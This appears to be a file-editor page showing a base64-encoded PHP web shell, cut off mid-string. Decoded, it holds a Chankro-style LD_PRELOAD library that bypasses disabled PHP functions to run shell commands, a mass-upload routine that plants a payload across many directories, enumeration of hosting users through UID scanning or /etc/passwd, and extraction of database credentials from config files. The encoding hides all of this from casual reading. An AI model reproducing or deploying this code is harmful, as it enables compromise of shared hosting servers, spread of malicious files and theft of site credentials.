UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTFRRUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNndFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEvUUVBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZ3SUFBQ0lBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTXdJQUFCSUFDUUFZQndBQUFBQUFBQUFBQUFBQUFBQUFPUUlBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHTnlkSE4wZFdabUxtTUFYMTlLUTFKZlRFbFRWRjlmQUdSbGNtVm5hWE4wWlhKZmRHMWZZMnh2Ym1WekFGOWZaRzlmWjJ4dlltRnNYMlIwYjNKelgyRjFlQUJqYjIxd2JHVjBaV1F1TmprM01nQmZYMlJ2WDJkc2IySmhiRjlrZEc5eWMxOWhkWGhmWm1sdWFWOWhjbkpoZVY5bGJuUnllUUJtY21GdFpWOWtkVzFkZVFCZlgyWnlZVzFsWDJSMWJXMTVYMmx1YVhSZllYSnlZWGxmWlc1MGNua0FhRzl2YXk1akFGOWZSbEpCVFVWZlJVNUVYMThBWDE5S1ExSmZSVTVFWDE4QVgxOWtjMjlmYUdGdVpHeGxBRjlFV1U1QlRVbERBRjlmUjA1VlgwVklYMFpTUVUxRlgwaEVVZ0JmWDFUTV9sRlRrUmZYd0JmUjB4UFFrRk1YMDlHUmxORlZGOVVRVUpNUlY4QVoyVjBaVzUyUUVCSFRFbENRMTh5TGpJdU5RQmZTVlJOWDJSbGNtVm5hWE4wWlhKVVRVTnNiMjVsVkdGaWJHVUFYMlZrWVhSaEFHUmhaVzF2Ym1sNlpRQmZabWx1YVFCemVYTjBaVzFBUUVkTVNVSkRYekl1TWk0MUFIQjNiZ0J6YVdkdVlXeEFRRWRNU1VKRFh6SXVNaTQxQUY5ZloyMXZibDl6ZEdGeWRGOWZBSEJ5Wld4dllXUnRaUUJmWlc1a0FGOWZZbk56WDNOMFlYSjBBR05vYlc5a1FFQkhURWxDUTE4eUxqSXVOUUJmU25aZlVtVm5hWE4wWlhKRGJHRnpjMlZ6QUhWdWMyVjBaVzUyUUVCSFRFbEJRa05mTWk0eUxqVUFYMlY0YVhSQVFFZE1TVUpEWHpJdU1pNDFBRjlKVkUxZmNtVm5hWE4wWlhKVVRVTnNiMjVsVkdGaWJHVUFYMTlqZUdGZlptbHVZV3hwZW1WQVFFZE1TVUpEWHpJdU1pNDFBRjlwYm1sMEFHWnZjbXRBUUVkTVNVSkRYekl1TWk0MUFBPT0nOw0KDQogICAgICAgICAgICAkc29fZmlsZSA9ICR0YXJnZXQgLiAnL2NoYW5rcm8uc28nOw0KICAgICAgICAgICAgJHNvY2tldF9maWxlID0gJHRhcmdldCAuICcvYWNwaWQuc29ja2V0JzsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gT3V0cHV0IGtlIFRNUCBqaWthIFVBUEkgKGxlYmloIGNlcGF0L3N0YWJpbCksIGxva2FsIGppa2EgYmlhc2ENCiAgICAgICAgICAgIGlmICgkaXNfdWFwaV90b2tlbikgew0KICAgICAgICAgICAgICAgICRvdXRfZmlsZSA9ICcvdG1wL3NmbV9vdXRfJyAuIHRpbWUoKSAuICcudHh0JzsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG91dF9maWxlID0gJHRhcmdldCAuICcvY2hhbmtyb19vdXQudHh0JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgQHVubGluaygkc29fZmlsZSk7IEB1bmxpbmsoJHNvY2tldF9maWxlKTsgQHVubGluaygkb3V0X2ZpbGUpOw0KDQogICAgICAgICAgICAvLyBBTlRJLUxPT1A6IEd1bmFrYW4gJ2VudiAtdScgdW50dWsgbWVtYmVyc2loa2FuIHZhcmlhYmVsIGhvb2sgc2ViZWx1bSBwZXJpbnRhaCBkaWphbGFua2FuDQogICAgICAgICAgICAkc2FmZV9jbWQgPSAiZXhwb3J0IFBBVEg9L2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovdXNyL3NiaW47IGVudiAtdSBMRF9QUkVMT0FEIC11IENIQU5LUk8gIiAuICRjbWRfcmF3Ow0KICAgICAgICAgICAgJGZ1bGxfY29tbWFuZCA9ICIoJHNhZmVfY21kKSA+ICRvdXRfZmlsZSAyPiYxIjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJG1ldGVycHJldGVyID0gYmFzZTY0X2VuY29kZSgkZnVsbF9jb21tYW5kKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgeF93cml0ZSgkc29fZmlsZSwgYmFzZTY0X2RlY29kZSgkaG9vaykpOw0KICAgICAgICAgICAgeF93cml0ZSgkc29ja2V0X2ZpbGUsIGJhc2U2NF9kZWNvZGUoJG1ldGVycHJldGVyKSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIHB1dGVudignQ0hBTktSTz0nIC4gJHNvY2tldF9maWxlKTsNCiAgICAgICAgICAgIHB1dGVudignTERfUFJFTE9BRD0nIC4gJHNvX2ZpbGUpOw0KDQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYWlsJykpIHsgQG1haWwoJ2EnLCdhJywnYScsJ2EnKTsgfSANCiAgICAgICAgICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9zZW5kX21haWwnKSkgeyBAbWJfc2VuZF9tYWlsKCdhJywnYScsJ2EnLCdhJyk7IH0gDQogICAgICAgICAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXJyb3JfbG9nJykpIHsgQGVycm9yX2xvZygnYScsIDEsICdhJyk7IH0gDQogICAgICAgICAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9tYWlsJykpIHsgQGltYXBfbWFpbCgnYScsJ2EnLCdhJyk7IH0NCg0KICAgICAgICAgICAgc2xlZXAoJGlzX3VhcGlfdG9rZW4gPyA1IDogMik7DQoNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkb3V0X2ZpbGUpKSB7DQogICAgICAgICAgICAgICAgJHJhd19vdXQgPSBmaWxlX2dldF9jb250ZW50cygkb3V0X2ZpbGUpOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmICgkaXNfdWFwaV90b2tlbikgew0KICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL3Rva2VuOlxzKihcUyspL2knLCAkcmF3X291dCwgJG0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gIlNVQ0NFU1MgVE9LRU46XG4iIC4gJG1bMV07DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChzdHJpcG9zKCRyYXdfb3V0LCAnWW91IGRvIG5vdCBoYXZlIHRoZSBmZWF0dXJlJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gIkZBSUxFRDogRmVhdHVyZSAnYXBpdG9rZW5zJyBkaXNhYmxlZCBieSBob3N0LiI7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2xlYW4gPSBwcmVnX3JlcGxhY2UoJy9eRVJST1I6IGxkXC5zbzouKiQvbScsICcnLCAkcmF3X291dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gdHJpbSgkY2xlYW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoZW1wdHkoJG91dCkpICRvdXQgPSAiVUFQSSBFeGVjdXRlZCBidXQgbm8gdG9rZW4gZm91bmQgKFJhdyk6XG4iIC4gc3Vic3RyKCRyYXdfb3V0LCAwLCA1MDApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gQ0xFQU4gT1VUUFVUDQogICAgICAgICAgICAgICAgICAgICRjbGVhbiA9IHByZWdfcmVwbGFjZSgnL15FUlJPUjogbGRcLnNvOi4qJC9tJywgJycsICRyYXdfb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgJG91dCA9IHRyaW0oJGNsZWFuKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRvdXQpICYmICFlbXB0eSgkcmF3X291dCkpICRvdXQgPSAkcmF3X291dDsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG91dCA9ICJbQ2hhbmtybyBGYWlsZWQ6IE91dHB1dCBmaWxlIG5vdCBjcmVhdGVkIGF0ICRvdXRfZmlsZV0iOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBAdW5saW5rKCRzb19maWxlKTsgQHVubGluaygkc29ja2V0X2ZpbGUpOyANCiAgICAgICAgICAgIGlmKCRpc191YXBpX3Rva2VuKSBAdW5saW5rKCRvdXRfZmlsZSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJG91dCkgfHwgc3RybGVuKHRyaW0oJG91dCkpID09PSAwKSB7DQogICAgICAgICAgICAkb3V0ID0gIltObyBPdXRwdXQgUHJvZHVjZWRdIjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICRvdXQ7IGV4aXQ7DQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICd0b29sJykgew0KICAgICAgICAkdG9vbCA9IGlzc2V0KCRfU0VSVkVSWyRoX3Rvb2xdKSA/ICRfU0VSVkVSWyRoX3Rvb2xdIDogJyc7DQogICAgICAgICRob21lX2RpcnMgPSBnZXRfaG9tZV9kaXJzKCk7DQoNCiAgICAgICAgLy8gLS0tIFVQREFURUQgTUFTUyBVUExPQUQgKFVTRSBST0JVU1QgV1JJVEUpIC0tLQ0KICAgICAgICBpZiAoJHRvb2wgPT09ICdtYXNzX3VwbG9hZCcpIHsNCiAgICAgICAgICAgICRtb2RlID0gaXNzZXQoJF9TRVJWRVJbJGhfbW1vZGVdKSA/ICRfU0VSVkVSWyRoX21tb2RlXSA6ICdpbml0JzsNCiAgICAgICAgICAgICR0bXBfbGlzdCA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICIvc2ZtX21hc3NfdGFyZ2V0cy5qc29uIjsNCiAgICAgICAgICAgICR0bXBfZmlsZSA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICIvc2ZtX21hc3NfcGF5bG9hZC50bXAiOw0KDQogICAgICAgICAgICBpZiAoJG1vZGUgPT09ICdpbml0Jykgew0KICAgICAgICAgICAgICAgICRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOw0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlskaF9lbmNdKSAmJiAkX1NFUlZFUlskaF9lbmNdID09PSAnYjY0JykgJGlucHV0ID0gYmFzZTY0X2RlY29kZSgkaW5wdXQpOw0KICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR0bXBfZmlsZSwgJGlucHV0KTsNCiAgICAgICAgICAgICAgICAkdGFyZ2V0cyA9IHNjYW5fc21hcnRfdGFyZ2V0cygkdGFyZ2V0KTsgDQogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHRtcF9saXN0LCBqc29uX2VuY29kZSgkdGFyZ2V0cykpOw0KICAgICAgICAgICAgICAgIGpzb25fb3V0KFsnc3RhdHVzJyA9PiAncmVhZHknLCAndG90YWwnID0+IGNvdW50KCR0YXJnZXRzKV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoJG1vZGUgPT09ICdwcm9jZXNzJykgew0KICAgICAgICAgICAgICAgICRzdGVwID0gaXNzZXQoJF9TRVJWRVJbJGhfc3RlcF0pID8gKGludCkkX1NFUlZFUlskaF9zdGVwXSA6IDA7DQogICAgICAgICAgICAgICAgJGZpbGVuYW1lID0gaXNzZXQoJF9TRVJWRVJbJGhfZGF0YV0pID8gYmFzZTY0X2RlY29kZSgkX1NFUlZFUlskaF9kYXRhXSkgOiAnbWFzc19maWxlLnBocCc7DQogICAgICAgICAgICAgICAgJGxpbWl0ID0gMjA7IA0KDQogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkdG1wX2xpc3QpIHx8ICFmaWxlX2V4aXN0cygkdG1wX2ZpbGUpKSB7IGpzb25fb3V0KFsnc3RhdHVzJz0+J2Vycm9yJywgJ21zZyc9PidUYXNrIGV4cGlyZWQuJ10pOyB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgJHRhcmdldHMgPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygkdG1wX2xpc3QpLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAkdG90YWwgPSBjb3VudCgkdGFyZ2V0cyk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCR0b3RhbCA9PT0gMCB8fCAkc3RlcCA+PSAkdG90YWwpIHsNCiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkdG1wX2xpc3QpOyBAdW5saW5rKCR0bXBfZmlsZSk7IA0KICAgICAgICAgICAgICAgICAgICBqc29uX291dChbJ3N0YXR1cycgPT4gJ2RvbmUnLCAndG90YWwnID0+ICR0b3RhbF0pOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICRiYXRjaCA9IGFycmF5X3NsaWNlKCR0YXJnZXRzLCAkc3RlcCwgJGxpbWl0KTsNCiAgICAgICAgICAgICAgICAkcGF5bG9hZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0bXBfZmlsZSk7DQogICAgICAgICAgICAgICAgJGNvdW50X29rID0gMDsNCg0KICAgICAgICAgICAgICAgIGZvcmVhY2goJGJhdGNoIGFzICRkaXIpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoeF9yb2J1c3Rfd3JpdGUoJGRpciAuICcvJyAuICRmaWxlbmFtZSwgJHBheWxvYWQsIGZhbHNlKSkgJGNvdW50X29rKys7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJG5leHRfc3RlcCA9ICRzdGVwICsgJGxpbWl0Ow0KICAgICAgICAgICAgICAgIGpzb25fb3V0KFsnc3RhdHVzJyA9PiAnY29udGludWUnLCAnbmV4dF9zdGVwJyA9PiAkbmV4dF9zdGVwLCAndG90YWwnID0+ICR0b3RhbCwgJ29rX2JhdGNoJyA9PiAkY291bnRfb2tdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICAgICAgICAgLy8gLS0tIEJZUEFTUyBVU0VSIChQUklPUklUWTogSUQgU0NBTk5JTkcgLT4gRkFMTEJBQ0s6IEVUQy9QQVNTV0QpIC0tLQ0KICAgICAgICBpZiAoJHRvb2wgPT09ICdieXBhc3NfdXNlcicpIHsNCiAgICAgICAgICAgICRmb3VuZCA9IFtdOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBEYWZ0YXIgdXNlciBzeXN0ZW0vc2FtcGFoIHlhbmcgd2FqaWIgZGlidWFuZw0KICAgICAgICAgICAgJGJsYWNrbGlzdCA9IFsNCiAgICAgICAgICAgICAgICAncm9vdCcsICdiaW4nLCAnZGFlbW9uJywgJ2FkbScsICdscCcsICdzeW5jJywgJ3NodXRkb3duJywgJ2hhbHQnLCAnbWFpbCcsIA0KICAgICAgICAgICAgICAgICdvcGVyYXRvcicsICdnYW1lcycsICdmdHAnLCAnbmFtZWQnLCAnbnNjZCcsICdycGN1c2VyJywgJ3JwYycsICdtYWlsbnVsbCcsIA0KICAgICAgICAgICAgICAgICd0c3MnLCAnc3NoZCcsICdkYnVzJywgJ2RvdmVjb3QnLCAncnRraXQnLCAnYWdlbnQzNjAnLCAnb3NzZWNlJywgJ29zc2VjbScsIA0KICAgICAgICAgICAgICAgICdvc3NlY3InLCAnb3NzZWMnLCAnaW11bmlmeTM2MC1zY2FubG9nZCcsICdpbXVuaWZ5MzYwLXdlYnNoaWVsZCcsICd3cC10b29sa2l0JywgDQogICAgICAgICAgICAgICAgJ2xzYWRtJywgJ19pbXVuaWZ5JywgJ2ZsYXRwYWsnLCAnZ2VvY2x1ZScsICdwaXBld2lyZScsICdwb2xraXRkJywgDQogICAgICAgICAgICAgICAgJ2NwYW5lbHBocG15YWRtaW4nLCAnY3BhbmVscGhwcGdhZG1pbicsICdkb3ZlbnVsbCcsICdteXNxbCcsICdjcHNlcycsIA0KICAgICAgICAgICAgICAgICdjcGFuZWxhbmFseXRpY3MnLCAnY3BhbmVsY29ubmVjdHRyYWNrJywgJ2NwYW5lbHJvdW5kY3ViZScsICdjcGFuZWxleGltc2Nhbm5lcicsIA0KICAgICAgICAgICAgICAgICdjcGFuZWxleGltZmlsdGVyJywgJ2NwYW5lbGxvZ2luJywgJ2NwYW5lbGNhYmNhY2hlJywgJ2NwYW5lbCcsICdtYWlsbWFuJywgDQogICAgICAgICAgICAgICAgJ2Nocm9ueScsICdzc3NkJywgJ3N5c3RlbWQtY29yZWR1bXAnLCAnbm9ib2R5JywgJ2FwYWNoZScsICduZ2lueCcsICdsaXRlc3BlZWQnLA0KICAgICAgICAgICAgICAgICdzeXN0ZW1kLW5ldHdvcmsnLCAnc3lzdGVtZC1yZXNvbHZlJywgJ3N5c3RlbWQtdGltZXN5bmMnDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAvLyBNRVRPREUgMTogU0NBTk5JTkcgSUQgKFBSSU9SSVRBUyBVVEFNQSkNCiAgICAgICAgICAgIC8vIE1lbmNvYmEgbWVuZGFwYXRrYW4gdXNlciBsYW5nc3VuZyBkYXJpIEtlcm5lbCB2aWEgUE9TSVgNCiAgICAgICAgICAgIC8vIFJhbmdlIHNjYW46IDAgc2FtcGFpIDUwMDAgKE1lbmNha3VwIHVzZXIgc3lzdGVtICYgdXNlciBob3N0aW5nKQ0KICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KICAgICAgICAgICAgICAgIGZvciAoJHVzZXJpZCA9IDA7ICR1c2VyaWQgPCA1MDAwOyAkdXNlcmlkKyspIHsgDQogICAgICAgICAgICAgICAgICAgICRhcnIgPSBAcG9zaXhfZ2V0cHd1aWQoJHVzZXJpZCk7IA0KICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcnIpICYmIGlzc2V0KCRhcnJbJ25hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1ID0gJGFyclsnbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBpc3NldCgkYXJyWydkaXInXSkgPyAkYXJyWydkaXInXSA6ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAvLyBGaWx0ZXI6IFRpZGFrIGJvbGVoIGFkYSBkaSBibGFja2xpc3QgREFOIGhvbWUgZGlyIGhhcnVzIHZhbGlkDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWluX2FycmF5KCR1LCAkYmxhY2tsaXN0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkaCwgJy9ob21lJykgIT09IGZhbHNlIHx8IHN0cmlwb3MoJGgsICcvdmFyL3d3dycpICE9PSBmYWxzZSB8fCBzdHJpcG9zKCRoLCAnL3Vzci9ob21lJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZFtdID0gJHU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIE1FVE9ERSAyOiBSRUFEIC9FVEMvUEFTU1dEIChGQUxMQkFDSykNCiAgICAgICAgICAgIC8vIEhhbnlhIGRpamFsYW5rYW4gamlrYSBNZXRvZGUgMSAoU2Nhbm5pbmcgSUQpIGdhZ2FsIHRvdGFsIGF0YXUgcmV0dXJuIGtvc29uZw0KICAgICAgICAgICAgaWYgKGVtcHR5KCRmb3VuZCkpIHsgDQogICAgICAgICAgICAgICAgJHJhd19ldGMgPSB4X3JlYWQoIi9ldGMvcGFzc3dkIik7DQogICAgICAgICAgICAgICAgaWYgKCRyYXdfZXRjKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbGluZXMgPSBleHBsb2RlKCJcbiIsICRyYXdfZXRjKTsgDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGxpbmVzIGFzICRsKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoZW1wdHkodHJpbSgkbCkpKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRwID0gZXhwbG9kZSgiOiIsICRsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1ID0gaXNzZXQoJHBbMF0pID8gdHJpbSgkcFswXSkgOiAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRoID0gaXNzZXQoJHBbNV0pID8gdHJpbSgkcFs1XSkgOiAnJzsgLy8gS29sb20gNiA9IEhvbWUgRGlyDQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHUpICYmICFpbl9hcnJheSgkdSwgJGJsYWNrbGlzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkaCwgJy9ob21lJykgIT09IGZhbHNlIHx8IHN0cmlwb3MoJGgsICcvdmFyL3d3dycpICE9PSBmYWxzZSB8fCBzdHJpcG9zKCRoLCAnL3Vzci9ob21lJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZFtdID0gJHU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gSGFwdXMgZHVwbGlrYXQgJiBTaW1wYW4NCiAgICAgICAgICAgICRmb3VuZCA9IGFycmF5X3VuaXF1ZSgkZm91bmQpOw0KICAgICAgICAgICAgJG91dHB1dCA9ICIiOw0KICAgICAgICAgICAgZm9yZWFjaCgkZm91bmQgYXMgJHVzZXIpIHsNCiAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICR1c2VyIC4gIjpcbiI7IA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZighZW1wdHkoJG91dHB1dCkpIHsgDQogICAgICAgICAgICAgICAgeF93cml0ZSgicGFzc3dkLnR4dCIsICRvdXRwdXQpOyANCiAgICAgICAgICAgICAgICBlY2hvICJTYXZlZCB0bzogcGFzc3dkLnR4dFxuTWV0aG9kOiAiIC4gKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSA/ICJJRCBTY2FuIChQcmltYXJ5KSIgOiAiRmlsZSBSZWFkIChGYWxsYmFjaykiKSAuICJcbkNsZWFuIFVzZXJzIEZvdW5kOiAiIC4gY291bnQoJGZvdW5kKTsgDQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIkZhaWxlZC4gTm8gdmFsaWQgaG9zdGluZyB1c2VycyBmb3VuZCB2aWEgSUQgU2NhbiBvciBGaWxlIFJlYWQuIjsgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQoNCg0KICAgICAgICBpZiAoJHRvb2wgPT09ICdhZGRfYWRtaW4nKSB7DQogICAgICAgICAgICAkc3RlcCA9IGlzc2V0KCRfU0VSVkVSWyRoX3N0ZXBdKSA/IChpbnQpJF9TRVJWRVJbJGhfc3RlcF0gOiAwOw0KICAgICAgICAgICAgJGxpbWl0ID0gNTsgDQogICAgICAgICAgICAkbW9kZSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfTU9ERSddKSA/ICRfU0VSVkVSWydIVFRQX1hfTU9ERSddIDogJ2p1bXBpbmcnOw0KICAgICAgICAgICAgJHRhcmdldF9zdWIgPSAoJG1vZGUgPT09ICdzeW1saW5rJykgPyAnM3hfc3ltJyA6ICdqdW1waW5nJzsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHNjYW5fcGF0aCA9IGlzX2RpcigkdGFyZ2V0IC4gJy8nIC4gJHRhcmdldF9zdWIpID8gJHRhcmdldCAuICcvJyAuICR0YXJnZXRfc3ViIDogJHRhcmdldDsNCiAgICAgICAgICAgICRhbGxfZmlsZXMgPSBzY2FuZGlyKCRzY2FuX3BhdGgpOw0KICAgICAgICAgICAgJGNvbmZpZ19maWxlcyA9IFtdOw0KICAgICAgICAgICAgZm9yZWFjaCgkYWxsX2ZpbGVzIGFzICRmKSB7IA0KICAgICAgICAgICAgIGlmKCRmID09ICcuJyB8fCAkZiA9PSAnLi4nKSBjb250aW51ZTsgDQogICAgICAgICAgICAgIGlmKHN0cmlwb3MoJGYsICdjb25maWcnKSAhPT0gZmFsc2UgfHwgc3RyaXBvcygkZiwgJ3NldHRpbmdzJykgIT09IGZhbHNlIHx8IHN1YnN0cigkZiwgLTQpID09PSAnLnR4dCcpIHsNCiAgICAgICAgICAgICAgICRjb25maWdfZmlsZXNbXSA9ICRzY2FuX3BhdGggLiAnLycgLiAkZjsgDQogICAgICAgICAgICB9DQogICAgICAgICAgICAgIH0gICAgICAgICAgICANCiAgICAgICAgICAgICR0b3RhbCA9IGNvdW50KCRjb25maWdfZmlsZXMpOw0KICAgICAgICAgICAgaWYgKCRzdGVwID49ICR0b3RhbCkgeyBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJz0+J2RvbmUnLCAnaHRtbCc9PicnLCAndG90YWwnPT4kdG90YWxdKTsgZXhpdDsgfQ0KICAgICAgICAgICAgJGJhdGNoX2ZpbGVzID0gYXJyYXlfc2xpY2UoJGNvbmZpZ19maWxlcywgJHN0ZXAsICRsaW1pdCk7DQogICAgICAgICAgICAkaHRtbF9sb2cgPSAiIjsNCg0KICAgICAgICAgICAgZm9yZWFjaCgkYmF0Y2hfZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICAkY29udGVudCA9IHhfcmVhZCgkZmlsZSk7DQogICAgICAgICAgICAgICAgaWYoISRjb250ZW50KSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9OQU1FWydcIl1ccyosXHMqWydcIl0oLio/KVsnXCJdXHMqXCkvaSIsICRjb250ZW50LCAkbV9uYW1lKSkgew0KICAgICAgICAgICAgICAgICAgICAkZGJfbmFtZSA9ICRtX25hbWVbMV07DQogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfVVNFUlsnXCJdXHMqLFxzKlsnXCJdKC4qPylbJ1wiXVxzKlwpL2kiLCAkY29udGVudCwgJG1fdXNlcik7ICRkYl91c2VyID0gJG1fdXNlclsxXSA/PyAnJzsNCiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9QQVNTV09SRFsnXCJdXHMqLFxzKlsnXCJdKC4qPylbJ1wiXVxzKlwpL2kiLCAkY29udGVudCwgJG1fcGFzcyk7ICRkYl9wYXNzID0gJG1fcGFzc1sxXSA/PyAnJzsNCiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9IT1NUWydcIl1ccyosXHMqWydcIl0oLio/KVsnXCJdXHMqXCkvaSIsICRjb250ZW50LCAkbV9ob3N0KTsgJGRiX2hvc3QgPSAkbV9ob3N0
💾 Save Changes
❌ Cancel